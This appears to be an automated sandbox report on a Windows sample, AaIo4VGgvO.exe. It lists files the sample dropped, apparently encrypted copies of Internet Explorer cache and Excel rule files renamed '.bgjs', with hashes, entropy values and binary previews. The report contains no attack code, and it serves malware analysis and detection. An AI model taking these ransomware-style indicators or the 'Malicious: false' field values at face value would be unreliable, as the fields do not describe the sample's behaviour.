Preview:	A.....-.xS4...]a....he.....w.it.R<.m.}2}~......U...]A.A'....C.)../W..iQ3..+..Vv.#..P"..........\|.it.....n.H.#.2\....J+jt..vi.F.j.....ke....U..d]..C@...\|.K...9.Y.l....t%.R'...D<'#\.Xg....CE.S.....\|..6<..i~...S...g.....).'o....Jl.Q\h...oJ_.z.......j.P.....a,~a<..Ky...U.8k5..f.l...z.g0b.Q....W....}..^..\.7.sY...U{...,x.'__.....Y..).....A.$....%31...Rj...B..C.@y.{...#Z..!.(X...pS.&.vs5...^.,.....+f..] .....D.!Z.'+..{.uh.......#.u...D..p..?mz.A.....GX.;X..~R.....A.......I}...nv.M....X...D.@C0.~a7.n'7.~.N.).b....M.LH..a. ..yE.4VjY...8....7.......$Q/"..n........\.V.k..o...n8....}..o.N....^.cj......E....,..+....=\....++s.`b......<o}`...R\\.oh......L....q.FT...vbz<w...,.......Y..ni,7..:.*.vMT..E....T.j......u.^.....b..B..@hK?.........\|......X..!.........q.v:IF........a..e.u..._r....Y...n....17.!4<...Q_..K.S..8....X......<.....D..=..F...E....c97.....,l.W...%Px5H0..g\|/.c.o..z...!,T.g).5....w..}.......`......./.HR......b..j\T....' ...n..T..`... h0d.=.n.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.009428343288883
Encrypted:	false
SSDEEP:	3072:ChuUJlFcaRfcdNciAkPiVM00rJIpF6+EmcDy+7IUfARASlNOT7VRPDkSSnLRrR7X:Chuo4ail9+B0dIUQAS5BV
MD5:	14101299BCE9F5F5B36D796611494AFD
SHA1:	A3C2D0222CB538FDD24E05ACD937F1162FEC0561
SHA-256:	A213A8F4036622B97BEBA9F54623A078346017FD120F3C61C183F15223066967
SHA-512:	1BEED110B3130B21F883AC44352C013B63346BE5248ED6EF9C72B36726E0424C6B6DA81996A289E05BC71C27342779BD67E6FA8F873BD31CBBBAA359F5573229
Malicious:	false
Preview:	.....=d...-.p..._./DMC)...l.E.rS....vr\....:DsG.}..8.:......Dq^9g.....[[...d.t...4..<.i.3q....G..p%.Ib....N.k.(.zA.?h_4pPiZ\.&..b%G..DM....OH..LZ....e....q>C.FB......8.'....3...YJ!..S.'xm..E...k......xi-f...R.jB..Lp.......e.9..t...M........N.P.i..c..W.9...=R..U..M.Z.c.D.Y..i.......=.GzB.s=t.....S...Nt...A.'...#S'Lr}b.......{.......DGN....3..D......+....AV...............z.j..'<.}....Wu....U.!J.Iy.].NA...>...,.p..;U....'\|..t.N...%..Pdm....).e.....Cp.u..:....~CE1!..2..^.#..p.i......I.FT8tG9j.O.b.........e.g..Z.76....wS.,?..6....."...P....i.)B.S2.'.w..=..T..\X..(..A...D......wd.0.4.2.>...t)..e.....-"..Ei.V.=T.. ..5.oR.......M.b.B.....&...0a....l.5.\.G.PD.....8...fA!z8....WElOL4>.~;.O.....6....}.I.....M..=...}x..1...j\..`g..D.6..-...;^P.I.:..NO.F.....9I..T.PP...Q.':.&...............M..;}/..Ht.QNW...m.'.....w.a".,....`}1.G....[d...G.+s...`......`a.rr......!;.......Y.pK.....g'.....$o]....P..+>....v..:..`..........J.Md..,+X...9..A......@...?.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207799519886893
Encrypted:	false
SSDEEP:	3072:yVTwFgGec6e09dz18HPeRJG/gHR4oKdS81IwcnK0/cUrVxNJm/3ewo:0w/H2JgPUJGYHRconAwVxNq3eX
MD5:	155CBC88ACB22A8BCCB75ADA74B65126
SHA1:	FD3557C258C786191A308C86AB117800A2206DFB
SHA-256:	EB5E7C82FD9223D57A84979650C6458B65F95A4B8F31E0B3376898EFA5F6939E
SHA-512:	97F49FEE4F3321025DB89DD3434095BC45E1732C0DC5A0411B8423CBA829FE5CB632D68CCFD0561CDA26586552B0943884EAA19A715DD79F6EC63983E10007BF
Malicious:	false
Preview:	........n.p..rh.,.b...P.>......T&2O....;.U..X.Ah...$...E....g..H..-.V2;B./5.187A...D\.......%\.).7.+D....6B.>?+............(\|.qT.3.eQu.C.).._w".3...Z.....Q'.I8..w.s....>\...>.."<,s.NN..V.M.UO....0_ ...O..WHE.ug....`..F.:T.M <..1.=..T...l..z\Q..3.Bc...`H....[.QN.xSZ..uJ.b+...F"..f..2.3\|..9.}~.\.q./#..).Q...Z....,.b,.~.$u..8W.H]&Ug.....\|.x...Q...6a..7K...a..E.?.3.......M.R....9.w].u.(f...6..v.z.\_0..>....1nI..I..g.....9S.....e7k..<.].^ea..ID.1...S..A..=.`......O..0'.U....;5...f.Pg9....\|.=.G...Oo..IM9D...<....e.7. ......"4..Q..j.fR....n.<..?hTv..E. gX.Uy....j..<n..j.l.M......3....m...e./v.$....B..Ef...}_.Y.d;..=..y7....%......Z....Z.pD`v\.e.4.Pz.Hja....ZF..LBS.Ng'(....)EN.......O...?B./.l.Q..S.G...}.S....2.'.......\|..R.c.*......E......."}.....\.E..O..nR.6:..a...H........U].~.......Dp...i.q.I.A.:...!A\.h6....{3..}..gay=.5 .......0...b.d.k..yF.....&Y.....m..._!..Z..k.\|..Y...u:.......&j.....H..........t.....q..@O.g...K...['\|...)Z^......r.J.....2.A

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077730571338994
Encrypted:	false
SSDEEP:	3072:6D/qumK6wjYStYSdLO/RQXYMKNwVifSZpo64YQ6gMjOJLYb9T1wvw:a/qumK6oZO1JQX6NwVbC6NOGT1w4
MD5:	679056F43E1C24320D003E4E9F2F15A4
SHA1:	C67BDB0E21089E35AD3BD5F2F8A9B10C810F4DE9
SHA-256:	F10E02BC94E9B4BEC4562246C6CDB4F9CE625DE8512EB0B66E130B7D3A695D10
SHA-512:	5E5D4B491B7C0731DA1249FFB76573F4FF8FBCC4A85C7A8FDF1F4134FA079B88B9D4DFB810DE0B637578F0ADCF03DEB835AECBD3E7918169CA5ACAB33AF204E7
Malicious:	false
Preview:	.....\|.....B8.....[.t.F1.'.i......i.}i;.5j.V 4.`.STT...e...+X.`O...I....&9[.%.Co..M8.. }[...g..>...y...o..?......m.BB.T?....P.[&{d.1..c...d.. .J....t?.G3...%....\]..d...g.P..6..J.fB.a....<...N..:......y.x..njz...Z.-)..'..s.HW.t.".5@y..y...\|....Fv.g..]p./A..5...&..`..W...a\|.-..V..E.....R..09...F<.CH..a....T.l>w..~..u.M.#.i1 .X......\|`T.x.8...s.Dx..T...Is...\|...v."n\.....X.7.I.I.D..5D.7......Y......U..2;o....Y....L...P.....i8l...S.......XK.4.H.zy...3U.~k.....M....C...Zk/WToB.g......m..4......f..z....s.~.E.^K..1.9YE....p..2..FD.9Ro~...a.:qI...,......1_S....83....WN.=...S..EXy:.zH..........,...P.J....6].5..M.\|=s0..+.O..!..T>..V....r.A.PP^.. .(K~..5..%1......`....S...)..DN.....>..v.......X.....).'...F..'5fgs...h0g..q9Q...G....hU..N.{....X.>...h.@NF.k.ox...O.._.B......Y.....Re)..^.D ..^.Z(^.S^)jxfn...:......\...W.O...x...G7..%.....hU.d q....\.4S...t..x..F...@L........n.$.[...@"..R.o.. ~(.:h...._.......4=.)}=.]...#.S*..........Tb

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207802979408211
Encrypted:	false
SSDEEP:	3072:4bbneXExTTm9EqlLaYxqnPZvq2umyYhZqyw4UW+TA1mdCktTXH+m2Lu4GF9:4jxTT/qVzAdqEpZqyw4UWAAOuy48
MD5:	7D3C39F2C9A9B939F6A8D7BC2A6D9265
SHA1:	420F8B8F94A63FF686F9E86F9E943EE9B3BF622E
SHA-256:	8F4AA65C3067C118939EF89D557D34D62963C5B6B9D2D6F4CDCB9C4B7703D03D
SHA-512:	412F3A589B7B825D164F4E2EDA835362189E68CA3DB88F7EC9073D32A26C8614E5E323DF68C65BE446A0BC575B89A005B95B6D86D03379F0D4E2A10FC28D3D12
Malicious:	false
Preview:	.......i^.....y..Y&K.E......0.S{.'.q....LO.....BD#.G#.#..PV,#.T.1.{...GQ.l..z.^.F..@sRa......l..e....9M..dI.a..!C.....m...A}..4..O.mo.....qi.Y..ey;)...q.......Z..ID..\|M#)\|....OX.>.1...9..R.9....S%^.b.....7....k".E....m[.g..!...(...+{.G\|..F..A@.Y!...Z.....7.t..?.....Z).&.?m~..).....z.Re....9.9.U..'..>...CT\..K..G......K[$p;'..=..v.G.UQ.\|.7-D.n..w.qIj.$ep....-t.W..}...\.O....QS!..o...:..<%\..j.?E.B......&...QI.2[../..[...^...X.m ......4.'.].T..`.>..\| ^D..3 .?.Q.....E.k..+.... .G..i..4....K...V3.t%...k.\.....S.d.c.".U.Y.\|..t...t..S"XC..f.R.....cz.T.Z........5.R....9.8-.,.H..3.3e...k....T.N.....X..~..@5.. "......z.s..\??o...})..E.........i).V`)a_.,.9}@...h..h..<r)T....3M.O8AKG-Vj....(z.....z...C...(GQp.f.b..)k^g..9...K......ZW...y...c?..5N..p...D..B...a.o(.Q'....J1L... !BB.t....@.........La A0%%#...E.. =.7mX...p...#....D,..a_0.../..A.v.Tp......!.i..*..g[.;O^..Kg#g....9.k...$NJ.'Zu-..^.......?.z.K_S...3"...H.k..'$.t....B.<.sz..f4zyL..$.:.q~`....\|..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.945062423873619
Encrypted:	false
SSDEEP:	96:GI5nLAa5RohIkMQcRy8e5dbsQAfRkwLeucowZJRGVtlYh:B5Lp5RSzMPCjsjfRBSvnJRQ6h
MD5:	A1226721D3E91E7558BC688D7E32731D
SHA1:	05539886DE072D2982B96B43C88D088338230A3C
SHA-256:	40B4AB29C04E4A427029FC2B57B5FCB56FB7FBA5F23B63797F05162EF2DCD930
SHA-512:	1C2DB37645FB56FD25F60F2D804CCB6318A92D2F325B563488785E0E2368BFE482B43AE15F1D604A04213B85F3C02332950788917644CA4276CFA2230B80EE2A
Malicious:	false
Preview:	<?xml....[v....Uw.d..$.-A...bfJp:H).....D>.G,.$..U..fy....K........3.5...l.yh...Rk.K.....b....GM..x!.....7..W.U{/.l(...M..K/L).M....c.:.c..........i.?...(.C.......d:\=.T.B./tn...k...@.......mK...YG........;\|\| .=Q.3.=5k....h....=.Ol.wO.A.K..... ...bL.wv. ..f..]."........]x...JF?l.@.1.b....8d..5.....G.k.. c....2q/....f.?f..?....<N..,...m.J?...:.Gg.v.)S.U.v..-s..!.M...}6zBf.v./"..2..~.8....&..N5..2".I..D..g.Q..m.....\]!.....y..q..+......-...vW-.l!p...J..]7.d...Y...l4j<...y....(r[.>.J;`.U..9..K...ca.#G`>...WkE._m..,.d.;....`.%....M.X.~.'......z....H..].. ..4V....<.U.S...b.Q......a..@-w..mti3...3..\|R............I."M..."..7.4..y..ne..K5B?....?"#P...L0.`..Q...3...k$=g.....~....]..d..".....rm../.=...2}....+.D2.^sK....eF.....U.*Sz.d.w...+.Fp....b..'Y.8...+...........<>;.....\|..n......ZP.?....#.C.q.N..><.oz.[-.bcY.j....a.Cw.D...7-/.hs+R.y.....&.. .f....~.<.;u..Ng...e..%#.A..w.....P....,.f9...Y.%....Tu..+.F\|R...%.I.IX.PN.....l.cp."..5.J..w...B%.{?..R

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.720130343871602
Encrypted:	false
SSDEEP:	12:QbLcVQiJCy1nxJVPG91B3d80Wcoukg3NvjJ45209w3Qz9MulWWa+iOshqp1c1+cq:QsVQiJ3xJE960Wlux3N7xcpVaDOpXbD
MD5:	CAE86FA4AA3076582CC7827F4E640B08
SHA1:	CF82D84B8A866A26111FFA3768CD4C32895D5640
SHA-256:	4CB13B27F744BBAD0000A7FB3CA3C2227EFA1E2695196C02BE7856D2173A6126
SHA-512:	D2E7F8626DC241BD0D10F6985E93DFAE2C59F9EFDC3D1D8F628F02E40DCB7C6B27BEAF2C94F2E8EC8C9D205237E086620168F913944010C449AB7C8191C86E8B
Malicious:	false
Preview:	..1.0Z...-....T.f.......j.E.L...0......I....`.#h..5.....P...f...B....U..=..t2..ul....j..rJ.{..../..f.(.v...P.h)^wUu._....~B.T....;..=}r.\|.-.`.S.(.Mr.U &i..s....#V..CUe2...%.'-.0(.b../..Y.......B....(.V...&2^[..`0._..#J...L.!.<.../..$.4?g`.cL....)......s...A.I.g...G.............!...h.......2.+ ....p...\...q[N....Z.~.i./.. ..F.m......v.k......qno.M..#2qXq..?Zqj.$...Gq...(......ET.s..S...Cft/ {.x1.....q.^.S...QtI#xf#...O n.2gk.4BK.......V.m.Qn<)`.91.1...,.L.8..X...b.=.N....:..P.?8...-.......c...H.G.../w....E.....k..y.8E....9.\|....1EJ..W"~.mo..l...UB.-.;.....`...^5..0.....vkCo?uH.b...T..m.d.._k '..1..-.....:....#.....+..9...Y.f.F#Q..o]MpQJ....`.n...R...w.5.G....C.....Y4..l..#S+h.....c.....m.>.C......YSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.876333131219022
Encrypted:	false
SSDEEP:	48:wfZDtzrNSt8Np4cTxq9a/sQu73BmiPe68+D:+zrNSaNSCxq9H3FpZ
MD5:	CF340DC58AA7FDFABD1303E4B3A33ADA
SHA1:	EBD90BCEB22C54427E6D4A03F75BD2044D19361C
SHA-256:	BFD3E5213AB00F53B659F2C156FB4147E174B9A31675A13401747A82F2A2FA4D
SHA-512:	BA42725C481AEAAD424D4F25C4D96F8410F59471C886988BFDF13656C242EC81B1F8068D84C92D56F9A5DFEE91EDB6891AE1A8D3E9B00F704E2A49C5AB6D3A9F
Malicious:	false
Preview:	..1.0...(?...o3[....).c..o....U4-h2a+.....bUuR....r...$......v......9...6...~.DO.\|..XR....~y.;.1W..$...s.s........i$.<W...OJ...kg.}....pF.&N.Ve.).:.6.cv6......T......t..L......\|e..m..l.=.K.=......>..uf...I.k_....Y.pt..\|.L_..sH/.... n...`.Wg......C..... ...!.sj.=....u..9?<_WBA.l...._ZJ'\F.}.?.:`ga.t...c....j}..J6u..)..>@......n...n......Z$".,.T.....'.....E.~w.!..\|.....A...4..wq:.....1\|..%....e..F:..3.'.^..4(.j8.<%'.fi...a]>...!.vX...-~...i../..B.........6c-...i:.:e...c..O...9..^.....Z.8q.....Z$..F.vV.:..>..;u...?...D.h....q):.8.<.#.o.1 d^.P.f .&......0....[..:.r.n......&.O.....H..+,;.<jX...y....h..L5:.Ac.._.a.9..Sl.....Y.T;-.W..&.e.L..0...:#.(.Tn.D.L....-t..-}....d..Q.....'s....WRV.j-7.2=.#.m..=./q.^.U4E.6...u..}f..\...0Y9.X../..E..P........D......p.7......d=....u.\A...........vV..:....R(.".W..u..g=......?.;X.....zn...@v.......0.....U..2....mz...yo.i.$..d#.......d./.vK.....-........S.....;2..1..*.......^G.#......._..mh.}Y..T..C'

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725581149653429
Encrypted:	false
SSDEEP:	3072:qpZrAsULyBbCCOH+nQ+XFyRTimeXMpkkeUfwvXQYpRkgxkP:qDdULyBbCCOH+nQiFyRTd/pZAgRb
MD5:	7ABC52458B36A424A133193D1B5D5D46
SHA1:	3AA7A3E49CC27C2007E80D1B5F45BC5652DA70EE
SHA-256:	17D4D2A0235A3943F19EE6AAE5D2F3CD473ED7F157D31613D78742710298CCE0
SHA-512:	2184238B6037F10B6C21510DB90D994E9F6F94007683CCD41A33647997947D31468AE5A4BD32593067DD562102778096CFEC1ED2DD04F254914EC87FBE0BEDE4
Malicious:	false
Preview:	<?xml...i,.A'U"O4..G0.s..O.#h.Q...8g((.Y.I.J.g5.S..!....~xZ..5[....1\.B.......1..(n......3....}......n0.2U.) /QO{.8..Mu+@..)...3I-T...;A..H.......S...jO4ooZZ.o.h.h...L.f.....6.Y...Ugf\|nx6}.pHs[...lu.d77......;W._.. ..!......,.Vz.1.........~..N5.../[...x...h...:.....T.fK}4.C`........0a.m?e&=.='[....C-.".>..(\|......>....f.@...?1.@N>..L./9..G.f...er\|.:4.\|.k.=.....G..m.......W>.4..~....:.?...Q.)..X..N...".` .e...D}J.........X...E.[..@..v.....HM.x..X.tL:.hA..%..l..0.[F...#..si.;yF;\|....N...Xi...."xk.}.....F...Up..SG.A..b.Z..[.IM..U...V..8.p.'R....!6.u.....7t{..}....S~^......c.....c.P.mg1.3..,._p..6..F@............n..).>/..cy..w.{...........8....~...ux...`.F4.A..I.q%?./.<..r./2....C.2m.O...>...C.2i.....uW........"(.6.f+....O....b.p..o...Z%{..c.......=..-k....C..3...F...r.....1yS..,..it.!,F.\FU..k....e...Ww...w..E0...sMc).#..p{....V.\|M.e..8..B.mI.+}...\|...g....-I.....(.{#F.....'..$k.C#..`..2.q....:.CBTP./I......o5..t4......(...o<q........~1B....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.936111342630057
Encrypted:	false
SSDEEP:	48:SPH9HH5CJgAmb1Pfhf5lNx0HIc6H/+EUaMxrDY050mkZZ6p/VFe5XMkDI2Z1vtsb:SP5HIJgAEPfF5lN9xUa8Y050mO6p/VFH
MD5:	DB859A4BA96ED382F32045BBBCC23E73
SHA1:	6C0505F42020B81276D88F3F0C33D674E231620D
SHA-256:	B0B72DB28D0DDDF5C02AEF4410828D23BB0E9815668E332ABCCC7AE51BF53D49
SHA-512:	055D193E1B57A10E2B66C3C44193239E3C6329EE73B02AE824C9D5219A97546BC22F185D4562369C72EED71BE2D5873D8831E47AA05EF2DF321FDEA7F3217F8A
Malicious:	false
Preview:	<?xmlu.m.z2wQ.+..)...p.o..5Wg.=..H......ws...RE....z_.........d%...F.L......yf.B..).]{......n..&...,p.=.S.....\|....Af>..!...&...W..#}(..7..s8O....`;....0JnD....]e....s$f.....d.7.AMH'.....4."{..6.`_.w..._O.S......o..2.U.....+...M....JB..O.X$.b.....@vo.M.....2.i...b.X.....&.+?...6...8.`Af+0..KK.8.S.....z..A.Fy.2}B.q.....fJ.H&w?...7$......x....k...S0.t..O..7....`.=.Yr~h)..X.a..-u..qG...n&.>G...q."..j7..O.drA..\B..6....i.....+.:;..!...q.%...x..ii$.8/.S.....d..D.......NT..l)'.%T$...[.":..P.._:b..X.;.n._..b.........(X..2>.e...X....I...<.WT../V...o"W...%.:........6yJ....f.8....an!(........,....U.%..\|...?..#..d.L.'.'.f...k.G..M.1...<?....x[.[a.G.,.A,..Qr#..............][;...Usr..M.eK.8.^..6.....!..KU.+.....Q&.x~.!=..S.r..h..p..%8Ht#......#..<.8v.\..Z..........1.%1..B..].......!..RA..p.k./.....Xo.4.mRb....}F.Z...s3\|3u...>... z\|;qB...e2;..L.Jx....".4..E{..X.h.M<k. ....,6.K.;c..MW...{>l@...%.f.>.?uA..R6tK4..........1.f} ...qsS.{x...d...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.691250443721432
Encrypted:	false
SSDEEP:	12:oMiFFdYoAGLNv3UxRSE854Jud6jNMKZ8I6IalpkhMM5kR0eSz1+cii9a:vi953UxRSE85sud6qKupe/5kR0LAbD
MD5:	EB4965BC2F2247CC16FA7FBDB6E45EAE
SHA1:	604116E0DE0F5D06FF84D637B4445EE98D0B242C
SHA-256:	E8EA33600131BB59D2EA16D251992C424A4CD12FD2B28EAD8A963A9E48EED29C
SHA-512:	771ED0CF7787EAA872C1543E3EE7CF0AD79AE36CA3BB9F54A4DE1DD71CA4DD0FAD37B85A841F318A41F0BDA8D3B9AEF45C14E8B430B7BE9BF8CA2308AC5DE28F
Malicious:	false
Preview:	<?xml..}.w...m..ys..Y...7;OX..t..Y....ly .(...5\|...}......k.p....)D...Z...4..]....<...5<r<..\|.../..1.C..I..:....4..g.RQp{...0.a.N...^.5V.W.._.........0bVI.1.....sF7...JS..<y9v....+./...F..q.....js.8X.......n..k.{.....r{..+.G....<.....@..~8A......f.;}!...Q`.v._q.`.}.Y..>........xSQ.a.K.,.C....e..0..pd .gV....v..A..w>k..)..W..M....EV..=..8..]).`...!..7xMd........"X.gu/....O..p..C..=...Tp&.........w..}...]../..".x9.l{.j...>.s.../.P@W.'...a..vz!H^..............)...G9.I.V.XJ.b%W..G.R...i.._.?H7..g.-C...jPX..`z..k.....V9.....G.A...J......PV..n..9.O<.$V...?..g`y.d:.._b../.........k........N...uQ<.......V~hg..r..1..V.U....0...;.2....0.....S:,...k..z1.D"p.E`[jI.......l..-.]%SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.951980683907845
Encrypted:	false
SSDEEP:	48:lpPJVeF2I2RE8dIBmENuFu1pJkZQKFipAoGSvRDmogm2Ozz4wFknD:lpPXxxOlNNpJAHFeA57oEOzzhA
MD5:	52701D460A979EF64A8AFFCCA9C2FF7D
SHA1:	627ED7616B8EB26BEC30A8CED406DA87C7F5F765
SHA-256:	308A8B3A0492ADD228117B87FD20B78424CB413E6FA91F14ADF619FB36CDB205
SHA-512:	42583CB9AA3A371ED700A3F714AB83902B91346E9A27984EABEA361EFB8E46DBC0B208F6228D1EC0C9077E06FF03C270F0E5455FC9DF6A0B2B110B0DF4EA24F5
Malicious:	false
Preview:	<?xmlsh.\..,.@Np.BF.$.'.g.49.~..B.c.3.^..O=i.n.#.....9>.......V.R..s...~.i>;.h....28.....j.Y...S$:..3....p...Y)/...(...t..EIVf..(.!}.;..V....1b(..L.=..y.c.^..4._.[QY....?luk.[8&e.1S..m......m..b#A0".M..gQ..1HE.2f;.N.R.(~l...s.R.c4..^[.R..........u......j.-...p..9CHk.n.H....=........j..ek#...V...#..........a.D..tT.VB.?..?..0......G......g.8+Y..q...p."d._.>c........-...>..}....Vh&.1......X."...^...e...m..G..0,.0<%3...%.bf.l.w.f..Ea0.w]:^.w!..Z`.1k......@.......s>......?....k..Hm...$..I.K(+;..[....hh. d1Wg....z.Eo.2[f....h.?[.f......q:.9.NONi.._.<......Vo.ty/X..0..~l.,..C@1...9-....JO.{.I......z.>'s<.W...`.RO...}.Xk.c5.{.A......Zn.McRi.......I.D4...n#.....;v..t..@G.V..;.....=..........].....O.4.. ....R.....9..u..i^..B.l.g.#yD/I....K...$m..........~J.s.q..W.._......_..\Y0....R]V......Ph...s.........i.B..m...+..... Gp.[.~..E5..kyM...#.h..#.;."...[....!..Wd...:U..~...,..........'./[...:.q/E.\|..o....wh.A..x.3...,51t=...\|.....zJ.(Lq..=.._t4

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.713712969374031
Encrypted:	false
SSDEEP:	24:1JF1HZQBBc8G8NDglbZOoUmwU+0MJtQ1egwbD:1X156cJY6OuPy815qD
MD5:	15C65F604C23D5C63930CEE48C9D768D
SHA1:	373502A88CEA49D9809F4DCBF2C941C670945793
SHA-256:	752108DCF6CF3308BAD1CA8DCB9DB4D734201F080327385BEEF3C0B38CA0C083
SHA-512:	45951DE300CF119A4D3FFCE5261B560780742D3A9640A81D37B5D4CB7AF4BD7F884D17E5FCED6873196A7B9866FD336C6FB700C0BD69A05187D2234B5A80AD26
Malicious:	false
Preview:	<?xmli/..:.I.."....r+s..A.6.6..tu...\|`T...{.3.B\|t.hm....,..9QRB.d..M.Ngk....Bv.Y.Bv.`D..!..........U.q..L.....1."\9J.Ty...2.C.JF_...b...c].U........eQ.p.7..4`.$.......8....pj{~.j....\|.,i....Np.....8"Wk.j.x.2.U.M.gS.E.2.5.F....).09...L.."B.v.U...mT..$.#.o.).s%....G@.......(.t.'.!N.H...]....`\..o.k9]8.?..Es..w.@u.O......,,.x..._l.V.D.x.w..V...A.Pe...C.b1.a......W\...3..........\|.-........Jx..?oc~..n`_...6...p.....<L...g.{y..P.T......~..2-j.s.{.]...yH.....&.Tq_h.}'.9_zm.....g....m3O.....g.n..A...J..c..b.k..e..a...^r..l.x....#.R..C...v.(.Q..l.r+..<.g..j........4..ot.f..a.@ ......>+..8..w..S.F.L0y.J...U]Q.`@.........v.v...6...@..K.b.E...^,=.,qu.f.i@...x.K.J.n\|P8.3....(Qv..9...<D.N..O...?v`....$P^.\.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.945268637789437
Encrypted:	false
SSDEEP:	48:auwrYR6FecnV0vlrpbzYPJe9IDaiy6AM2sMOpLqiSYEW8ykDfH/XDKbG/CF4vD2m:aDY4FWNzwe9IDafxsTjHk7TKbqCFtUbR
MD5:	591263B8104764A2E7DE223F923EFB1C
SHA1:	50380A86C5CA5A0389A5562572C3443BBDB290C3
SHA-256:	B716E217FF0E5C83F89153E70B32519B2DBD19E1FC5CC6AFB8098A8CE8980BE4
SHA-512:	04BEF6CF9F605E905AB859793B422325DFF1FB925D0CBF058E849B49853B09C20C3701FB02967D9BCC943CB3EBF42F75DD078D9322AB227D6978E38964338E80
Malicious:	false
Preview:	<?xml,.U+w{..n^..X...<l.......!.`...),6.%..c9.hk3.....B."..+.u....".-....1.PVShFN..x..>#...p.N+...8.....T..D~\|.g...Y.g.. ....-X#....iI.c.H.X.u.E...{......n..+..~.g..a.>...UU.d?.a....@..B..v_p.!..~.rv..Bh-ZV@.......~f.......-.cL..-.."..c.RR<v.i.f..^...o.(O...V........6...&..yq..0+...BS.^>Q........k.7.......=.....k....1..y%..j..N;.{n....!.......O;~.....0O.z..m.Z'..-.....C.T9....".X...._X..y.....!'..Yn.%...u..[.3.@.8... >)$x=.k..,8...(......nNgj.Vv....x.....\|..tm.N.[...-._....c...e.@.H.....M.r....,..)V...-.\|..u...L.........\\|....;jY.....\....\..."...7.S.K..swG..ed..;....3..,....se....bj..D......../m.....p.;.^..c..L....o....b........ .1.<=....;+....F.. R...e...K.p.-YZ.q.I.....~=..8I.....\o.yp....+....,K............_v....F......e"8q."..cS}J.p..{.;...(.7...:$........C.J/..u..]"...:A.&S..S.k..9Z.a...9..K.6g.....b..w.....;.?..&......[m.{C.....pl)...<S._.../..=.D.......yS..9;.....y...u3f..`...0.3]s..(..X.V.rDbe...[D$.2H.....C.4'9to.P......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.829243419440001
Encrypted:	false
SSDEEP:	24:T/+whdYkzb130tFUPNp4jWqP1rxiWyuEGCGiV6l9oLjyMAw09UjbD:LJOkPkUP7pqpiAiVW9oLjyMAr9U3D
MD5:	A908EEC215588C9FF84746CC89F53376
SHA1:	55A12E04D1F6394E57C9B4F37B34C6A93F9F689F
SHA-256:	2DF8D03A5781528B8194EBE3E452EECA0C16FA78F25FA410D08FFABD3C4E4793
SHA-512:	967C8320F8FCCF522130308576775FB651611E120461B21E8727FD7639B9ABA16312D893B892A1D8E79690A97F39E94C20FCF406BECD5B7058AB43CC0924D9E9
Malicious:	false
